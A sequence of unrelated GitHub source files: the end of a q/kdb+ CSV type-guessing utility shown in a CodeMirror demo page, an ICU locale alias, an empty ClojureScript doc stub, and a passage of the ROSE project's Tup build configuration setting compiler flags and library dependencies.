info:update t:"U",rule:140,maybe:1b from info where t="H",mw in 3 4,7<count each dchar,{all x like"*[0-9][0-5][0-9]"}peach sdv,.csv.cancast["U"]peach sdv; /2359
info:update t:"U",rule:150,maybe:0b from info where t="n",mw in 4 5,mdot=0,{all x like"*[0-9]:[0-5][0-9]"}peach sdv,.csv.cancast["U"]peach sdv;
info:update t:"T",rule:160,maybe:0b from info where t="n",mw within 7 12,mdot<2,{all x like"*[0-9]:[0-5][0-9]:[0-5][0-9]*"}peach sdv,.csv.cancast["T"]peach sdv;
info:update t:"V",rule:170,maybe:0b from info where t="T",mw in 7 8,mdot=0,.csv.cancast["V"]peach sdv;
info:update t:"T",rule:180,maybe:1b from info where t in"EF",mw within 7 10,mdot=1,{all x like"*[0-9][0-5][0-9][0-5][0-9].*"}peach sdv,.csv.cancast["T"]peach sdv;
info:update t:"Z",rule:190,maybe:0b from info where t="n",mw within 11 24,mdot<4,.csv.cancast["Z"]peach sdv;
info:update t:"P",rule:200,maybe:1b from info where t="n",mw within 12 29,mdot<4,{all x like"[12]*"}peach sdv,.csv.cancast["P"]peach sdv;
info:update t:"N",rule:210,maybe:1b from info where t="n",mw within 3 28,mdot=1,.csv.cancast["N"]peach sdv;
info:update t:"?",rule:220,maybe:0b from info where t="n"; / reset remaining maybe numeric
info:update t:"C",rule:230,maybe:0b from info where t="?",mw=1; / char
info:update t:"B",rule:240,maybe:0b from info where t in"HC",mw=1,mdot=0,{$[all x in"01tTfFyYnN";(any"0fFnN"in x)and any"1tTyY"in x;0b]}each dchar; / boolean
info:update t:"B",rule:250,maybe:1b from info where t in"HC",mw=1,mdot=0,{all x in"01tTfFyYnN"}each dchar; / boolean
info:update t:"X",rule:260,maybe:0b from info where t="?",mw=2,{$[all x in"0123456789abcdefABCDEF";(any .Q.n in x)and any"abcdefABCDEF"in x;0b]}each dchar; /hex
info:update t:"S",rule:270,maybe:1b from info where t="?",mw<.csv.SYMMAXWIDTH,mw>1,gr<.csv.SYMMAXGR; / symbols (max width permitting)
info:update t:"*",rule:280,maybe:0b from info where t="?"; / the rest as strings
/ flag those S/* columns which could be encoded to integers (.Q.j10/x10/j12/x12) to avoid symbols
info:update j12:1b from info where t in"S*",mw<13,{all x in .Q.nA}each dchar;
info:update j10:1b from info where t in"S*",mw<11,{all x in .Q.b6}each dchar;
select c,ci,t,maybe,empty,res,j10,j12,ipa,mw,mdot,rule,gr,ndv,dchar from info}
info:info0[;()] / by default don't restrict columns
infolike:{[file;pattern] info0[file;{x where x like y}[lower colhdrs[file];pattern]]} / .csv.infolike[file;"*time"]
\d .
/ DATA:()
bulkload:{[file;info]
if[not`DATA in system"v";'`DATA.not.defined];
if[count DATA;'`DATA.not.empty];
loadhdrs:exec c from info where not t=" ";loadfmts:exec t from info;
.csv.fs2[{[file;loadhdrs;loadfmts] `DATA insert $[count DATA;flip loadhdrs!(loadfmts;.csv.DELIM)0:file;loadhdrs xcol(loadfmts;enlist .csv.DELIM)0:file]}[file;loadhdrs;loadfmts]];
count DATA}
@[.:;"\\l csvutil.custom.q";::]; / save your custom settings in csvutil.custom.q to override those set at the beginning of the file
</textarea></div>
<script>
var editor = CodeMirror.fromTextArea(document.getElementById("code"), {
lineNumbers: true,
matchBrackets: true
});
</script>
<p><strong>MIME type defined:</strong> <code>text/x-q</code>.</p>
</article>
| {
"pile_set_name": "Github"
} |
// © 2016 and later: Unicode, Inc. and others.
// License & terms of use: http://www.unicode.org/copyright.html
// Generated using tools/cldr/cldr-to-icu/build-icu-data.xml
sr_XK{
"%%ALIAS"{"sr_Cyrl_XK"}
}
| {
"pile_set_name": "Github"
} |
---
name: cljs.core/float
see also:
---
## Summary
## Details
## Examples
| {
"pile_set_name": "Github"
} |
.gitignore
# This file should not contain anything that needs to be modified per ROSE build. I.e., all configuration
# variables are stored elsewhere (defaults in $ROSE_SOURCE/tup.config and build-specific values in
# $ROSE_BUILD/tup.config).
########################################################################################################################
# General variables, defaults.
########################################################################################################################
# The top ROSE directory, often referred to in documentation as $ROSE. Within the Tup build system, $(ROSE) refers
# to both the top of the source tree and the top of the build tree even though they are different directories. $(ROSE)
# is always a relative name from the directory containing the Tupfile (i.e., it never starts with "/"). The generic
# tup scripts use $(ROOT) instead of $(ROSE).
ROSE = $(TUP_CWD)
ROOT = $(TUP_CWD)
# Compilers
CXX = @(CXX)
CC = @(CC)
FC = @(FC)
# C preprocessor command-line switches
CPPFLAGS = @(CPPFLAGS)
# C compiler switches (w/out C preprocessor switches which are above)
CFLAGS += @(C_CXX_DEBUG)
CFLAGS += @(C_DEBUG)
CFLAGS += @(C_CXX_OPTIM)
CFLAGS += @(C_OPTIM)
CFLAGS += @(C_CXX_WARN)
CFLAGS += @(C_WARN)
CFLAGS += @(C_CXX_MISC)
CFLAGS += @(C_MISC)
# C++ compiler switches (w/out C preprocessor switches which are above)
CXXFLAGS += @(C_CXX_DEBUG)
CXXFLAGS += @(CXX_DEBUG)
CXXFLAGS += @(C_CXX_OPTIM)
CXXFLAGS += @(CXX_OPTIM)
CXXFLAGS += @(C_CXX_WARN)
CXXFLAGS += @(CXX_WARN)
CXXFLAGS += @(C_CXX_MISC)
CXXFLAGS += @(CXX_MISC)
# Linker flags for static linking
LDFLAGS_STATIC += @(LD_STATIC)
LDFLAGS_STATIC += @(LD_WARN)
LDFLAGS_STATIC += @(LD_MISC)
LDFLAGS_STATIC += -lm -ldl
# Linker flags for shared linking
LDFLAGS_SHARED += @(LD_SHARED)
LDFLAGS_SHARED += @(LD_WARN)
LDFLAGS_SHARED += @(LD_MISC)
LDFLAGS_SHARED += -lm -ldl
# Tup scripts
TUP_SCRIPTS = $(ROSE)/scripts/tup
COMPILER_RULES = $(TUP_SCRIPTS)/generate-compile-link-rules --depend=$(ROSE)/tup.acknowledgment
# Compilation database
ifeq (@(COMPILATION_DATABASE),yes)
COMPILER_RULES += --compilation-database=$(ROSE)/compdb
compilation_database_record = $(ROSE)/scripts/tup/compdb-emit-llvm-record
endif
# Export LD_LIBRARY_PATH since RMC sets this for non-native compilers.
# Actually, this doesn't work because tup refuses to export this variable, and who knows what others. Instead we work
# around it by exporting ALL_LIBDIRS and using patchelf to fix the executable.
export ALL_LIBDIRS
ALL_LIBDIRS = ${ALL_LIBDIRS}
# Export TEMPDIR since TMPDIR is apparently blocked.
export TEMPDIR
########################################################################################################################
# Supported languages.
########################################################################################################################
ifeq (@(ENABLE_ADA_ANALYSIS),yes)
error Ada is not supported by the tup ROSE build system yet
endif
ifeq (@(ENABLE_COBOL_ANALYSIS),yes)
error COBOL is not supported by the tup ROSE build system yet
endif
ifeq (@(ENABLE_CSHARP_ANALYSIS),yes)
error C\# is not supported by the tup ROSE build system yet
endif
ifeq (@(ENABLE_CUDA_ANALYSIS),yes)
error CUDA is not supported by the tup ROSE build system yet
endif
ifeq (@(ENABLE_FORTRAN_ANALYSIS),yes)
error Fortran is not supported by the tup ROSE build system yet
endif
ifeq (@(ENABLE_JAVA_ANALYSIS),yes)
error Java is not supported by the tup ROSE build system yet
endif
ifeq (@(ENABLE_JOVIAL_ANALYSIS),yes)
error Jovial is not supported by the tup ROSE build system yet
endif
ifeq (@(ENABLE_MATLAB_ANALYSIS),yes)
error Matlab is not supported by the tup ROSE build system yet
endif
ifeq (@(ENABLE_OFP_ANALYSIS),yes)
error OFP is not supported by the tup ROSE build system yet
endif
ifeq (@(ENABLE_OPENCL_ANALYSIS),yes)
error OpenCL is not supported by the tup ROSE build system yet
endif
ifeq (@(ENABLE_PHP_ANALYSIS),yes)
error PHP is not supported by the tup ROSE build system yet
endif
ifeq (@(ENABLE_PYTHON_ANALYSIS),yes)
error Python is not supported by the tup ROSE build system yet
endif
# The C preprocessor is supported automatically if C, C++, or Fortran is enabled
ifeq (@(ENABLE_CXX_ANALYSIS)-@(ENABLE_FORTRAN_ANALYSIS),no-no)
ENABLE_CPP_ANALYSIS=no
else
ENABLE_CPP_ANALYSIS=yes
endif
########################################################################################################################
# Minimal input code, depending on what language is supported. This is for testing since the test will fail if given
# an input file for a language that's not supported.
########################################################################################################################
# Last setting wins
ifeq (@(ENABLE_BINARY_ANALYSIS),yes)
minimal_input_code = $(ROSE)/tests/nonsmoke/functional/input_codes/minimal/minimal.binary
endif
ifeq (@(ENABLE_PYTHON_ANALYSIS),yes)
minimal_input_code = $(ROSE)/tests/nonsmoke/functional/input_codes/minimal/minimal.py
endif
ifeq (@(ENABLE_PHP_ANALYSIS),yes)
minimal_input_code = $(ROSE)/tests/nonsmoke/functional/input_codes/minimal/minimal.php
endif
ifeq (@(ENABLE_JAVA_ANALYSIS),yes)
minimal_input_code = $(ROSE)/tests/nonsmoke/functional/input_codes/minimal/minimal.java
endif
ifeq (@(ENABLE_FORTRAN_ANALYSIS),yes)
minimal_input_code = $(ROSE)/tests/nonsmoke/functional/input_codes/minimal/minimal.f90
endif
ifeq (@(ENABLE_CXX_ANALYSIS),yes)
minimal_input_code = $(ROSE)/tests/nonsmoke/functional/input_codes/minimal/minimal.cpp
endif
########################################################################################################################
# Software dependencies.
#
# Each software dependency "foo" has a corresponding @(WITH_FOO) configuration variable that is "no", "system", or the
# name of foo's installation prefix. If the value is other than "no" then a tup variable of the name $(FOO_ROOT) is
# defined to be that value. If the value is a prefix directory, then CPPFLAGS, LDFLAGS_STATIC, and LDFLAGS_SHARED are
# adjusted.
#
# These are generally defined in alphabetical order except when the libraries need to be in a certain order. For
# instance, boost comes near the end of the list and is followed by zlib and bzip2 because a few other libraries
# depend on boost, and boost depends on zlib and bzip2.
########################################################################################################################
# Binwalk binary search and extraction tool
ifneq (@(WITH_BINWALK),no)
BINWALK_ROOT = @(WITH_BINWALK)
endif
# Capstone disassembler
ifneq (@(WITH_CAPSTONE),no)
CAPSTONE_ROOT = @(WITH_CAPSTONE)
ifneq (@(WITH_CAPSTONE),system)
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(CAPSTONE_ROOT)/include
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(CAPSTONE_ROOT)/lib
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)$(CAPSTONE_ROOT)/lib @(CXX_LIBDIR_SWITCH)$(CAPSTONE_ROOT)/lib
endif
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)capstone
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)capstone
endif
# Dlib general-purpose cross platform library
ifneq (@(WITH_DLIB),no)
DLIB_ROOT = @(WITH_DLIB)
ifneq (@(WITH_DLIB),system)
CPPFLAGS += @(CPP_DEFINE_SWITCH)ROSE_HAVE_DLIB
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(DLIB_ROOT)/include
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(DLIB_ROOT)/lib
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)$(DLIB_ROOT)/lib @(CXX_LIBDIR_SWITCH)$(DLIB_ROOT)/lib
endif
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)dlib
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)dlib
endif
# Doxygen code documentation system
ifneq (@(WITH_DOXYGEN),no)
DOXYGEN_ROOT = @(WITH_DOXYGEN)
endif
# DWARF debugging info parser library
ifneq (@(WITH_DWARF),no)
DWARF_ROOT = @(WITH_DWARF)
ifneq (@(WITH_DWARF),system)
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(DWARF_ROOT)/include
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(DWARF_ROOT)/lib
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)$(DWARF_ROOT)/lib @(CXX_LIBDIR_SWITCH)$(DWARF_ROOT)/lib
endif
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)dwarf
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)dwarf
endif
# Elf parser library
ifneq (@(WITH_ELF),no)
ELF_ROOT = @(WITH_ELF)
ifneq (@(WITH_ELF),system)
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(ELF_ROOT)/include
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(ELF_ROOT)/lib
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)$(ELF_ROOT)/lib @(CXX_LIBDIR_SWITCH)$(ELF_ROOT)/lib
endif
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)elf
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)elf
endif
# Gcrypt cryptographic library
ifneq (@(WITH_GCRYPT),no)
GCRYPT_ROOT = @(WITH_GCRYPT)
ifneq (@(WITH_GCRYPT),system)
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(GCRYPT_ROOT)/include
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(GCRYPT_ROOT)/lib
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)$(GCRYPT_ROOT)/lib @(CXX_LIBDIR_SWITCH)$(GCRYPT_ROOT)/lib
endif
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)gcrypt
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)gcrypt
endif
# GPG error library
ifneq (@(WITH_GPG_ERROR),no)
GPG_ERROR_ROOT = @(WITH_GPG_ERROR)
ifneq (@(WITH_GPG_ERROR),system)
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(GPG_ERROR_ROOT)/include
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(GPG_ERROR_ROOT)/lib
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)$(GPG_ERROR_ROOT)/lib @(CXX_LIBDIR_SWITCH)$(GPG_ERROR_ROOT)/lib
endif
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)gpg-error
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)gpg-error
endif
# GraphicsMagick image manipulation
ifneq (@(WITH_GRAPHICSMAGICK),no)
GRAPHICSMAGICK_ROOT = @(WITH_GRAPHICSMAGICK)
ifneq (@(WITH_GRAPHFICSMAGICK),system)
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(GRAPHICSMAGICK_ROOT)/include
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(GRAPHICSMAGICK_ROOT)/lib
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)$(GRAPHICSMAGICK_ROOT)/lib @(CXX_LIBDIR_SWITCH)$(GRAPHICSMAGICK_ROOT)/lib
endif
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)GraphicsMagick
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)GraphicsMagick
endif
# Intel Pin tracing
ifneq (@(WITH_INTEL_PIN),no)
INTEL_PIN_ROOT = @(WITH_INTEL_PIN)
ifneq (@(WITH_INTEL_PIN),system)
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(INTEL_PIN_ROOT)/include
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(INTEL_PIN_ROOT)/intel64/lib-ext
LDFLAGS_SHARED += @(CXX_LIBDIR_SWITCH)$(INTEL_PIN_ROOT)/intel64/lib-ext
endif
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)pin
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)pin
endif
# JPEG image encoding
ifneq (@(WITH_JPEG),no)
JPEG_ROOT = @(WITH_JPEG)
ifneq (@(WITH_JPEG),system)
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(JPEG_ROOT)/include
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(JPEG_ROOT)/lib
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)$(JPEG_ROOT)/lib @(CXX_LIBDIR_SWITCH)$(JPEG_ROOT)/lib
endif
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)jpeg
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)jpeg
endif
# LCMS color managment system
ifneq (@(WITH_LCMS),no)
LCMS_ROOT = @(WITH_LCMS)
ifneq (@(WITH_LCMS),system)
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(LCMS_ROOT)/include
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(LCMS_ROOT)/lib
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)$(LCMS_ROOT)/lib @(CXX_LIBDIR_SWITCH)$(LCMS_ROOT)/lib
endif
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)lcms2
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)lcms2
endif
# LZMA compression
ifneq (@(WITH_LZMA),no)
LZMA_ROOT = @(WITH_LZMA)
ifneq (@(WITH_LZMA),system)
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(LZMA_ROOT)/include
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(LZMA_ROOT)/lib
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)$(LZMA_ROOT)/lib @(CXX_LIBDIR_SWITCH)$(LZMA_ROOT)/lib
endif
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)lzma
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)lzma
endif
# Magic file type identification (magic numbers)
ifneq (@(WITH_MAGIC),no)
MAGIC_ROOT = @(WITH_MAGIC)
ifneq (@(WITH_MAGIC),system)
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(MAGIC_ROOT)/include
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(MAGIC_ROOT)/lib
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)$(MAGIC_ROOT)/lib @(CXX_LIBDIR_SWITCH)$(MAGIC_ROOT)/lib
endif
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)magic
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)magic
endif
# PNG image encoding
ifneq (@(WITH_PNG),no)
PNG_ROOT = @(WITH_PNG)
ifneq (@(WITH_PNG),system)
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(PNG_ROOT)/include
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(PNG_ROOT)/lib
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)$(PNG_ROOT)/lib @(CXX_LIBDIR_SWITCH)$(PNG_ROOT)/lib
endif
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)png
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)png
endif
# Postgresql C++ API
ifneq (@(WITH_PQXX),no)
PQXX_ROOT = @(WITH_PQXX)
ifneq (@(WITH_PQXX),system)
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(PQXX_ROOT)/include
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(PQXX_ROOT)/lib
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)$(PQXX_ROOT)/lib @(CXX_LIBDIR_SWITCH)$(PQXX_ROOT)/lib
endif
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)pqxx
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)pqxx
endif
# Qt
ifneq (@(WITH_QT),no)
QT_ROOT = @(WITH_QT)
ifneq (@(WITH_QT),system)
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(QT_ROOT)/include
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(QT_ROOT)/include/QtCore
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(QT_ROOT)/include/QtGui
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(QT_ROOT)/include/QtWidgets
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(QT_ROOT)/lib
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)$(QT_ROOT)/lib @(CXX_LIBDIR_SWITCH)$(QT_ROOT)/lib
endif
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)Qt5Charts
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)Qt5Widgets
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)Qt5Gui
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)Qt5Core
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)GL
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)pthread
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)Qt5Charts
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)Qt5Widgets
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)Qt5Gui
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)Qt5Core
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)GL
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)pthread
endif
# Readline command-line editing library
ifneq (@(WITH_READLINE),no)
READLINE_ROOT = @(WITH_READLINE)
ifneq (@(WITH_READLINE),system)
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(READLINE_ROOT)/include
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(READLINE_ROOT)/lib
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)$(READLINE)/lib @(CXX_LIBDIR_SWITCH)$(READLINE_ROOT)/lib
endif
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)readline
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)readline
endif
# SQLite database
ifneq (@(WITH_SQLITE),no)
SQLITE_ROOT = @(WITH_SQLITE)
ifneq (@(WITH_SQLITE),system)
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(SQLITE_ROOT)/include
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(SQLITE_ROOT)/lib
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)$(SQLITE_ROOT)/lib @(CXX_LIBDIR_SWITCH)$(SQLITE_ROOT)/lib
endif
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)sqlite3
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)sqlite3
endif
# TIFF image encoding
ifneq (@(WITH_TIFF),no)
TIFF_ROOT = @(WITH_TIFF)
ifneq (@(WITH_TIFF),system)
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(TIFF_ROOT)/include
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(TIFF_ROOT)/lib
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)$(TIFF_ROOT)/lib @(CXX_LIBDIR_SWITCH)$(TIFF_ROOT)/lib
endif
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)tiff
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)tiff
endif
# Wt web toolkit
ifneq (@(WITH_WT),no)
WT_ROOT = @(WITH_WT)
ifneq (@(WITH_WT),system)
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(WT_ROOT)/include
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(WT_ROOT)/lib
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)$(WT_ROOT)/lib @(CXX_LIBDIR_SWITCH)$(WT_ROOT)/lib
endif
# The -lwthttp and -lwtfcgi libraries are intentionallly absent because its up to the application
# as to which one it should use.
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)wt
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)wtdbo
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)wtdbopostgres
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)wt
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)wtdbo
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)wtdbopostgres
endif
# YamlCPP is a YAML parser and emitter in C++
ifneq (@(WITH_YAMLCPP),no)
YAMLCPP_ROOT = @(WITH_YAMLCPP)
ifneq (@(WITH_YAMLCPP),system)
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(YAMLCPP_ROOT)/include
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(YAMLCPP_ROOT)/lib
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)$(YAMLCPP_ROOT)/lib @(CXX_LIBDIR_SWITCH)$(YAMLCPP_ROOT)/lib
endif
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)yaml-cpp
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)yaml-cpp
endif
# Yices SMT solver
ifneq (@(WITH_YICES),no)
YICES_ROOT = @(WITH_YICES)
ifneq (@(WITH_YICES),system)
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(YICES_ROOT)/include
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(YICES_ROOT)/lib
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)$(YICES_ROOT)/lib @(CXX_LIBDIR_SWITCH)$(YICES_ROOT)/lib
endif
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)yices
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)yices
endif
# Z3 SMT solver
ifneq (@(WITH_Z3),no)
Z3_ROOT = @(WITH_Z3)
ifneq (@(WITH_Z3),system)
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(Z3_ROOT)/include
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(Z3_ROOT)/lib
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)$(Z3_ROOT)/lib @(CXX_LIBDIR_SWITCH)$(Z3_ROOT)/lib
endif
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)z3
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)z3
endif
# Boost support/portability library (note that -lboost_python is added if we have python, later)
ifeq (@(WITH_BOOST),no)
error Boost is required. See CONFIG_WITH_BOOST in the tup.config file.
else
BOOST_ROOT = @(WITH_BOOST)
ifneq (@(WITH_BOOST),system)
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(BOOST_ROOT)/include
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(BOOST_ROOT)/lib
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)$(BOOST_ROOT)/lib @(CXX_LIBDIR_SWITCH)$(BOOST_ROOT)/lib
endif
# BOOST_SYSTEM_NO_DEPRECATED avoids warnings about boost::system::generic_category etc. defined but not used
CPPFLAGS += -DBOOST_SYSTEM_NO_DEPRECATED=1
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)boost_chrono
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)boost_date_time
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)boost_filesystem
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)boost_iostreams
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)boost_program_options
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)boost_random
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)boost_regex
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)boost_serialization
#LDFLAGS_STATIC += @(CXX_LIB_SWITCH)boost_signals -- removed in 1.69.0
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)boost_system
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)boost_thread
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)boost_wave
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)boost_wserialization
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)boost_chrono
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)boost_date_time
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)boost_filesystem
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)boost_iostreams
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)boost_program_options
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)boost_random
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)boost_regex
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)boost_serialization
#LDFLAGS_SHARED += @(CXX_LIB_SWITCH)boost_signals -- removed in 1.69.0
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)boost_system
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)boost_thread
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)boost_wave
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)boost_wserialization
endif
# Python development
ifneq (@(WITH_PYTHON),no)
PYTHON_ROOT = @(WITH_PYTHON)
ifneq (@(WITH_PYTHON),system)
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(PYTHON_ROOT)/include/python@(PYTHON_VERSION)m
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(PYTHON_ROOT)/lib
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)$(PYTHON_ROOT)/lib @(CXX_LIBDIR_SWITCH)$(PYTHON_ROOT)/lib
endif
# Note: static linking with python is not yet tested
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)boost_python
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)python@(PYTHON_VERSION)m
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)boost_python
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)python@(PYTHON_VERSION)m
endif
# Bzip2 compression library
ifneq (@(WITH_BZIP2),no)
BZIP2_ROOT = @(WITH_BZIP2)
ifneq (@(WITH_BZIP2),system)
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(BZIP2_ROOT)/include
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(BZIP2_ROOT)/lib
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)$(BZIP2_ROOT)/lib @(CXX_LIBDIR_SWITCH)$(BZIP2_ROOT)/lib
endif
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)bz2
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)bz2
endif
# Zlib compression library
ifeq (@(WITH_ZLIB),no)
error Zlib is required. See CONFIG_WITH_ZLIB in the tup.config file.
else
ZLIB_ROOT = @(WITH_ZLIB)
ifneq (@(WITH_ZLIB),system)
CPPFLAGS += @(CPP_INCDIR_SWITCH)$(ZLIB_ROOT)/include
LDFLAGS_STATIC += @(CXX_LIBDIR_SWITCH)$(ZLIB_ROOT)/lib
